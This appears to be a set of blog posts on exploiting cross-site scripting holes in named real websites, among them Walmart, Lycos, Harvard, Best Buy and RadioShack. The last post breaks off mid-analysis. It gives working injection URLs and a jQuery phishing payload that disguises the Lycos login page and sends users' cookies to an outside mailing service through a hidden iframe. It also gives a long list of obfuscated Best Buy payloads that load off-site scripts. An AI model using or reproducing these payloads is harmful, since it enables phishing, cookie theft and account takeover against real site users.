Making The Best Of Things - Walmartstores.com

Despite the quote escaping being broken by the added backslash, the code below may seem secure. Note that the single quote character was left out of the test string; a search containing a single quote or <script> results in a 404 error.

s.pageName = "Search";
s.prop1 = "search";
s.prop7 = "testa.,:;\\"<>()[]{}";
s.prop11 = "0";
s.prop17 = "walmartstores.com";

Because of the extra backslashes necessary to use quotes, calling eval or document.write with a new string literal is not possible. And with the search string converted to lowercase, String.fromCharCode cannot be called. However, nothing is stopping us from setting s.prop7 to anything we want using hex character codes then passing it to eval or document.write. Doing so would look something like this:

http://walmartstores.com/search/?q=\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\";document.write(s.prop7);//

Phishing With jQuery - Registration.Lycos.Com

jQuery is a wonderful tool when the need to traverse the HTML DOM arises. With only a few lines of code the layout of a web page can be drastically altered. Using an XSS vulnerability and a bit of creativity we can manipulate http://registration.lycos.com, turning it into what appears to be a reactivation link that users must click to keep their accounts. When the user navigates to the page, the malicious code reads the value cookie and sends it to us using an anonymous mailing service. All of this will happen transparently as the user is waiting to be redirected to http://mail.lycos.com.



First, we need the vulnerability. https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script>alert('Hello, World');</script> will work.

Next is the jQuery. Using it we're going to alter the title and login form, then email the cookie value by appending a hidden iframe to TestDiv. The JavaScript below should fulfill these needs, mailing to you@yourdomain.com.

$(this).load(function() {
    $('title').html('Reactivation');
    $('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');
    var u = 'http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message=' + escape(document.cookie) + '&kind=html';
    $('#TestDiv').append('<iframe style="display:none;" src="' + u + '" />');

    setTimeout("window.location='http://mail.lycos.com';", 5000);
});

To obscure our code and keep the URL short we can remove all unnecessary whitespace and append it to the end of the jQuery file. Doing so would look something like this:

[jQuery] $(this).load(function(){$('title').html('Reactivation');$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');var u='http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message='+escape(document.cookie)+'&kind=html';$('#TestDiv').append('<iframe style="display:none;" src="'+u+'"/>');setTimeout("window.location='http://mail.lycos.com';",5000);});

Include the modified version of jQuery using the vulnerability and the result will look like the screenshot below.

https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script src="http://www.yourdomain.com/modifiedjQuery.js"></script>

Little or No Effort - Search.Harvard.edu

Given the proliferation of data driven sites, it's no surprise that XSS vulnerabilities are everywhere. What is surprising, however, is the number of high profile sites lacking countermeasures. Harvard's search page is a perfect example of this; we can easily inject a script using the oldqt field.

http://search.harvard.edu:8765/query.html?charset=iso-8859-1&qt=cross-site%20scripting&oldqt=%3Cscript%20type%3D%22text/javascript%22%20src=%22http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%22%3E%3C/script%3E

No tricks needed, all it takes is a script tag.

Injecting Script Tags Without Access to Less Than and Greater Than Characters - Bestbuy.com

Many times an XSS vulnerability allows for injection of JavaScript, but will (seemingly) prohibit XHTML by encoding < and > respectively as &lt; and &gt;. This certainly complicates matters, but with a little effort and obfuscation we can sidestep such preventative measures. To assist in such tasks I created XSS JavaScript Obfuscator (creative name, I know).

Let's take a look at http://www.bestbuy.com/ to see what can be done with such utilities. As always the first thing we need to do is find the vulnerability. A little testing reveals that the id field is vulnerable to JavaScript injection.

http://www.bestbuy.com/site/olspage.jsp?id=testA.,:;\'"<>()[]{}&type=category

And here is the vulnerable line of JavaScript:

ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "testA.,:;\'"()[]{}- page-detail-404-error", null, "/", triggerParms["domain"])

By in injecting ",null,"/",triggerParms["domain"]);var%20x%3Dnew%20Array(" we can turn the vulnerable block of code into this:

ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "",null,"/",triggerParms["domain"]);var x=new Array("- page-detail-404-error", null, "/", triggerParms["domain"]);

At this point we can easily inject JavaScript

http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);alert('Hello,%20World!');var%20x%3Dnew%20Array("&type=category

But with less than and greater than characters blocked how can we include an off-site script? This is where the obfuscator comes in. To use it, we're going to have to split our attack into parts.

Url Prefix	http://www.bestbuy.com/site/olspage.jsp?id=
Url Suffix	&type=category
Attack Vector Prefix	",null,"/",triggerParms["domain"]);
Attack Vector Suffix	var x=new Array("
Code	<script type="text/javascript" src="http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js"></script>

Now that we've got our attack broken up lets populate the fields of XSS JavaScript Obfuscator (embedded at the bottom of this post) and generate some links for http://www.bestbuy.com

String.fromCharCode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,45,106,97,118,97,115,99,114,105,112,116,45,111,98,102,117,115,99,97,116,111,114,46,103,111,111,103,108,101,99,111,100,101,46,99,111,109,47,115,118,110,47,116,114,117,110,107,47,88,83,83,74,97,118,97,115,99,114,105,112,116,79,98,102,117,115,99,97,116,111,114,47,116,101,115,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62));var x=new Array("&type=category
String.fromCharCode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28String.fromCharCode%2860%2C115%2C99%2C114%2C105%2C112%2C116%2C32%2C116%2C121%2C112%2C101%2C61%2C34%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C34%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C120%2C115%2C115%2C45%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C45%2C111%2C98%2C102%2C117%2C115%2C99%2C97%2C116%2C111%2C114%2C46%2C103%2C111%2C111%2C103%2C108%2C101%2C99%2C111%2C100%2C101%2C46%2C99%2C111%2C109%2C47%2C115%2C118%2C110%2C47%2C116%2C114%2C117%2C110%2C107%2C47%2C88%2C83%2C83%2C74%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C79%2C98%2C102%2C117%2C115%2C99%2C97%2C116%2C111%2C114%2C47%2C116%2C101%2C115%2C116%2C46%2C106%2C115%2C34%2C62%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
String.fromCharCode + Complete Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%36%30%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%33%32%2c%31%31%36%2c%31%32%31%2c%31%31%32%2c%31%30%31%2c%36%31%2c%33%34%2c%31%31%36%2c%31%30%31%2c%31%32%30%2c%31%31%36%2c%34%37%2c%31%30%36%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%33%34%2c%33%32%2c%31%31%35%2c%31%31%34%2c%39%39%2c%36%31%2c%33%34%2c%31%30%34%2c%31%31%36%2c%31%31%36%2c%31%31%32%2c%35%38%2c%34%37%2c%34%37%2c%31%32%30%2c%31%31%35%2c%31%31%35%2c%34%35%2c%31%30%36%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%34%35%2c%31%31%31%2c%39%38%2c%31%30%32%2c%31%31%37%2c%31%31%35%2c%39%39%2c%39%37%2c%31%31%36%2c%31%31%31%2c%31%31%34%2c%34%36%2c%31%30%33%2c%31%31%31%2c%31%31%31%2c%31%30%33%2c%31%30%38%2c%31%30%31%2c%39%39%2c%31%31%31%2c%31%30%30%2c%31%30%31%2c%34%36%2c%39%39%2c%31%31%31%2c%31%30%39%2c%34%37%2c%31%31%35%2c%31%31%38%2c%31%31%30%2c%34%37%2c%31%31%36%2c%31%31%34%2c%31%31%37%2c%31%31%30%2c%31%30%37%2c%34%37%2c%38%38%2c%38%33%2c%38%33%2c%37%34%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%37%39%2c%39%38%2c%31%30%32%2c%31%31%37%2c%31%31%35%2c%39%39%2c%39%37%2c%31%31%36%2c%31%31%31%2c%31%31%34%2c%34%37%2c%31%31%36%2c%31%30%31%2c%31%31%35%2c%31%31%36%2c%34%36%2c%31%30%36%2c%31%31%35%2c%33%34%2c%36%32%2c%36%30%2c%34%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%36%32%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Unescape Partial Encode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%3Cscript%20type%3D%22text/javascript%22%20src%3D%22http%3A//xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%22%3E%3C/script%3E'));var x=new Array("&type=category
Unescape Partial Encode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%253Cscript%2520type%253D%2522text/javascript%2522%2520src%253D%2522http%253A//xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%2522%253E%253C/script%253E%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Unescape Partial Encode + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%33%43%73%63%72%69%70%74%25%32%30%74%79%70%65%25%33%44%25%32%32%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%32%32%25%32%30%73%72%63%25%33%44%25%32%32%68%74%74%70%25%33%41%2f%2f%78%73%73%2d%6a%61%76%61%73%63%72%69%70%74%2d%6f%62%66%75%73%63%61%74%6f%72%2e%67%6f%6f%67%6c%65%63%6f%64%65%2e%63%6f%6d%2f%73%76%6e%2f%74%72%75%6e%6b%2f%58%53%53%4a%61%76%61%73%63%72%69%70%74%4f%62%66%75%73%63%61%74%6f%72%2f%74%65%73%74%2e%6a%73%25%32%32%25%33%45%25%33%43%2f%73%63%72%69%70%74%25%33%45%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Unescape Full Encode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%78%73%73%2d%6a%61%76%61%73%63%72%69%70%74%2d%6f%62%66%75%73%63%61%74%6f%72%2e%67%6f%6f%67%6c%65%63%6f%64%65%2e%63%6f%6d%2f%73%76%6e%2f%74%72%75%6e%6b%2f%58%53%53%4a%61%76%61%73%63%72%69%70%74%4f%62%66%75%73%63%61%74%6f%72%2f%74%65%73%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'));var x=new Array("&type=category
Unescape Full Encode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%253c%2573%2563%2572%2569%2570%2574%2520%2574%2579%2570%2565%253d%2522%2574%2565%2578%2574%252f%256a%2561%2576%2561%2573%2563%2572%2569%2570%2574%2522%2520%2573%2572%2563%253d%2522%2568%2574%2574%2570%253a%252f%252f%2578%2573%2573%252d%256a%2561%2576%2561%2573%2563%2572%2569%2570%2574%252d%256f%2562%2566%2575%2573%2563%2561%2574%256f%2572%252e%2567%256f%256f%2567%256c%2565%2563%256f%2564%2565%252e%2563%256f%256d%252f%2573%2576%256e%252f%2574%2572%2575%256e%256b%252f%2558%2553%2553%254a%2561%2576%2561%2573%2563%2572%2569%2570%2574%254f%2562%2566%2575%2573%2563%2561%2574%256f%2572%252f%2574%2565%2573%2574%252e%256a%2573%2522%253e%253c%252f%2573%2563%2572%2569%2570%2574%253e%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Unescape Full Encode + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%32%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%37%38%25%37%33%25%37%33%25%32%64%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%64%25%36%66%25%36%32%25%36%36%25%37%35%25%37%33%25%36%33%25%36%31%25%37%34%25%36%66%25%37%32%25%32%65%25%36%37%25%36%66%25%36%66%25%36%37%25%36%63%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%37%36%25%36%65%25%32%66%25%37%34%25%37%32%25%37%35%25%36%65%25%36%62%25%32%66%25%35%38%25%35%33%25%35%33%25%34%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%34%66%25%36%32%25%36%36%25%37%35%25%37%33%25%36%33%25%36%31%25%37%34%25%36%66%25%37%32%25%32%66%25%37%34%25%36%35%25%37%33%25%37%34%25%32%65%25%36%61%25%37%33%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Unescape Unicode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u0020%u0074%u0079%u0070%u0065%u003d%u0022%u0074%u0065%u0078%u0074%u002f%u006a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u0022%u0020%u0073%u0072%u0063%u003d%u0022%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u0078%u0073%u0073%u002d%u006a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u002d%u006f%u0062%u0066%u0075%u0073%u0063%u0061%u0074%u006f%u0072%u002e%u0067%u006f%u006f%u0067%u006c%u0065%u0063%u006f%u0064%u0065%u002e%u0063%u006f%u006d%u002f%u0073%u0076%u006e%u002f%u0074%u0072%u0075%u006e%u006b%u002f%u0058%u0053%u0053%u004a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u004f%u0062%u0066%u0075%u0073%u0063%u0061%u0074%u006f%u0072%u002f%u0074%u0065%u0073%u0074%u002e%u006a%u0073%u0022%u003e%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e'));var x=new Array("&type=category
Unescape Unicode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%25u003c%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u0020%25u0074%25u0079%25u0070%25u0065%25u003d%25u0022%25u0074%25u0065%25u0078%25u0074%25u002f%25u006a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u0022%25u0020%25u0073%25u0072%25u0063%25u003d%25u0022%25u0068%25u0074%25u0074%25u0070%25u003a%25u002f%25u002f%25u0078%25u0073%25u0073%25u002d%25u006a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u002d%25u006f%25u0062%25u0066%25u0075%25u0073%25u0063%25u0061%25u0074%25u006f%25u0072%25u002e%25u0067%25u006f%25u006f%25u0067%25u006c%25u0065%25u0063%25u006f%25u0064%25u0065%25u002e%25u0063%25u006f%25u006d%25u002f%25u0073%25u0076%25u006e%25u002f%25u0074%25u0072%25u0075%25u006e%25u006b%25u002f%25u0058%25u0053%25u0053%25u004a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u004f%25u0062%25u0066%25u0075%25u0073%25u0063%25u0061%25u0074%25u006f%25u0072%25u002f%25u0074%25u0065%25u0073%25u0074%25u002e%25u006a%25u0073%25u0022%25u003e%25u003c%25u002f%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u003e%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Unescape Unicode + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%75%30%30%33%63%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%30%25%75%30%30%37%34%25%75%30%30%37%39%25%75%30%30%37%30%25%75%30%30%36%35%25%75%30%30%33%64%25%75%30%30%32%32%25%75%30%30%37%34%25%75%30%30%36%35%25%75%30%30%37%38%25%75%30%30%37%34%25%75%30%30%32%66%25%75%30%30%36%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%32%25%75%30%30%32%30%25%75%30%30%37%33%25%75%30%30%37%32%25%75%30%30%36%33%25%75%30%30%33%64%25%75%30%30%32%32%25%75%30%30%36%38%25%75%30%30%37%34%25%75%30%30%37%34%25%75%30%30%37%30%25%75%30%30%33%61%25%75%30%30%32%66%25%75%30%30%32%66%25%75%30%30%37%38%25%75%30%30%37%33%25%75%30%30%37%33%25%75%30%30%32%64%25%75%30%30%36%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%64%25%75%30%30%36%66%25%75%30%30%36%32%25%75%30%30%36%36%25%75%30%30%37%35%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%36%31%25%75%30%30%37%34%25%75%30%30%36%66%25%75%30%30%37%32%25%75%30%30%32%65%25%75%30%30%36%37%25%75%30%30%36%66%25%75%30%30%36%66%25%75%30%30%36%37%25%75%30%30%36%63%25%75%30%30%36%35%25%75%30%30%36%33%25%75%30%30%36%66%25%75%30%30%36%34%25%75%30%30%36%35%25%75%30%30%32%65%25%75%30%30%36%33%25%75%30%30%36%66%25%75%30%30%36%64%25%75%30%30%32%66%25%75%30%30%37%33%25%75%30%30%37%36%25%75%30%30%36%65%25%75%30%30%32%66%25%75%30%30%37%34%25%75%30%30%37%32%25%75%30%30%37%35%25%75%30%30%36%65%25%75%30%30%36%62%25%75%30%30%32%66%25%75%30%30%35%38%25%75%30%30%35%33%25%75%30%30%35%33%25%75%30%30%34%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%34%66%25%75%30%30%36%32%25%75%30%30%36%36%25%75%30%30%37%35%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%36%31%25%75%30%30%37%34%25%75%30%30%36%66%25%75%30%30%37%32%25%75%30%30%32%66%25%75%30%30%37%34%25%75%30%30%36%35%25%75%30%30%37%33%25%75%30%30%37%34%25%75%30%30%32%65%25%75%30%30%36%61%25%75%30%30%37%33%25%75%30%30%32%32%25%75%30%30%33%65%25%75%30%30%33%63%25%75%30%30%32%66%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%33%65%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Hex String	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write('\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x78\x73\x73\x2d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x2d\x6f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x2e\x67\x6f\x6f\x67\x6c\x65\x63\x6f\x64\x65\x2e\x63\x6f\x6d\x2f\x73\x76\x6e\x2f\x74\x72\x75\x6e\x6b\x2f\x58\x53\x53\x4a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x2f\x74\x65\x73\x74\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');var x=new Array("&type=category
Hext String + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28%27%5Cx3c%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx20%5Cx74%5Cx79%5Cx70%5Cx65%5Cx3d%5Cx22%5Cx74%5Cx65%5Cx78%5Cx74%5Cx2f%5Cx6a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx22%5Cx20%5Cx73%5Cx72%5Cx63%5Cx3d%5Cx22%5Cx68%5Cx74%5Cx74%5Cx70%5Cx3a%5Cx2f%5Cx2f%5Cx78%5Cx73%5Cx73%5Cx2d%5Cx6a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx2d%5Cx6f%5Cx62%5Cx66%5Cx75%5Cx73%5Cx63%5Cx61%5Cx74%5Cx6f%5Cx72%5Cx2e%5Cx67%5Cx6f%5Cx6f%5Cx67%5Cx6c%5Cx65%5Cx63%5Cx6f%5Cx64%5Cx65%5Cx2e%5Cx63%5Cx6f%5Cx6d%5Cx2f%5Cx73%5Cx76%5Cx6e%5Cx2f%5Cx74%5Cx72%5Cx75%5Cx6e%5Cx6b%5Cx2f%5Cx58%5Cx53%5Cx53%5Cx4a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx4f%5Cx62%5Cx66%5Cx75%5Cx73%5Cx63%5Cx61%5Cx74%5Cx6f%5Cx72%5Cx2f%5Cx74%5Cx65%5Cx73%5Cx74%5Cx2e%5Cx6a%5Cx73%5Cx22%5Cx3e%5Cx3c%5Cx2f%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3e%27%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Hex String + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%5c%78%33%63%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%30%5c%78%37%34%5c%78%37%39%5c%78%37%30%5c%78%36%35%5c%78%33%64%5c%78%32%32%5c%78%37%34%5c%78%36%35%5c%78%37%38%5c%78%37%34%5c%78%32%66%5c%78%36%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%32%5c%78%32%30%5c%78%37%33%5c%78%37%32%5c%78%36%33%5c%78%33%64%5c%78%32%32%5c%78%36%38%5c%78%37%34%5c%78%37%34%5c%78%37%30%5c%78%33%61%5c%78%32%66%5c%78%32%66%5c%78%37%38%5c%78%37%33%5c%78%37%33%5c%78%32%64%5c%78%36%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%64%5c%78%36%66%5c%78%36%32%5c%78%36%36%5c%78%37%35%5c%78%37%33%5c%78%36%33%5c%78%36%31%5c%78%37%34%5c%78%36%66%5c%78%37%32%5c%78%32%65%5c%78%36%37%5c%78%36%66%5c%78%36%66%5c%78%36%37%5c%78%36%63%5c%78%36%35%5c%78%36%33%5c%78%36%66%5c%78%36%34%5c%78%36%35%5c%78%32%65%5c%78%36%33%5c%78%36%66%5c%78%36%64%5c%78%32%66%5c%78%37%33%5c%78%37%36%5c%78%36%65%5c%78%32%66%5c%78%37%34%5c%78%37%32%5c%78%37%35%5c%78%36%65%5c%78%36%62%5c%78%32%66%5c%78%35%38%5c%78%35%33%5c%78%35%33%5c%78%34%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%34%66%5c%78%36%32%5c%78%36%36%5c%78%37%35%5c%78%37%33%5c%78%36%33%5c%78%36%31%5c%78%37%34%5c%78%36%66%5c%78%37%32%5c%78%32%66%5c%78%37%34%5c%78%36%35%5c%78%37%33%5c%78%37%34%5c%78%32%65%5c%78%36%61%5c%78%37%33%5c%78%32%32%5c%78%33%65%5c%78%33%63%5c%78%32%66%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%33%65%27%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category

And here we are with several links containing obfuscated JavaScript that will inject a script tag. Testing should reveal which links work best; generally the obfuscation methods ending with a partial URL encode are the most compatible.

XSS JavaScript Obfuscator

Url Prefix	Url Suffix
Attack Vector Prefix	Attack Vector Suffix
Code	Encoded Javascript
Partial Url Encode	Complete Url Encode
Decode Method String.fromCharCode call unescape partial encode call unescape full encode call unescape full unicode encode call hex string	Decode Return Call document.write eval

Insecure JavaScript - RadioShack.com

Today we're going to examine www.radioshack.com. As with many XSS exploits, this will be short and simple. Looking at the site you'll notice that they have a product search. Just as before we'll test this using our special string, testA.,:;\'"<>()[]{}



Without viewing the source it's apparent that our test string has been significantly altered. ,:;\'"<>()[]{} has been completely removed from our search, but how much of this happened client-side? Lets take a look at the current URL.

http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&bcLinkAll=1&sr=1&kw=testa.&origkw=testA.,:;\'%26quot;%26lt;%26gt;()[]{}&kwCatId=

By changing the kw field to our original search string we can create our own URL and see how reliant on client-side validation the site is. Our new URL should look like this:

http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&bcLinkAll=1&sr=1&kw=testA.,:;\'"<>()[]{}&origkw=testA.,:;\'%26quot;%26lt;%26gt;()[]{}&kwCatId=

Things certainly look better, but it's still possible the search is secure. To find out, we'll have to view the source of the page. Looking at the first match for testA it's apparent that our search string is encoded.

    <input type="text" style="font-size:10px;width:164px;" name="kw" id="kw" value="testA.,:;\'&quot;&lt;&gt;()[]{}">

This complicates things, but an attack is still possible. Lets look at some of the other results. Near the bottom of the page is the following block of javascript:

    var s_account='gsicrsk';
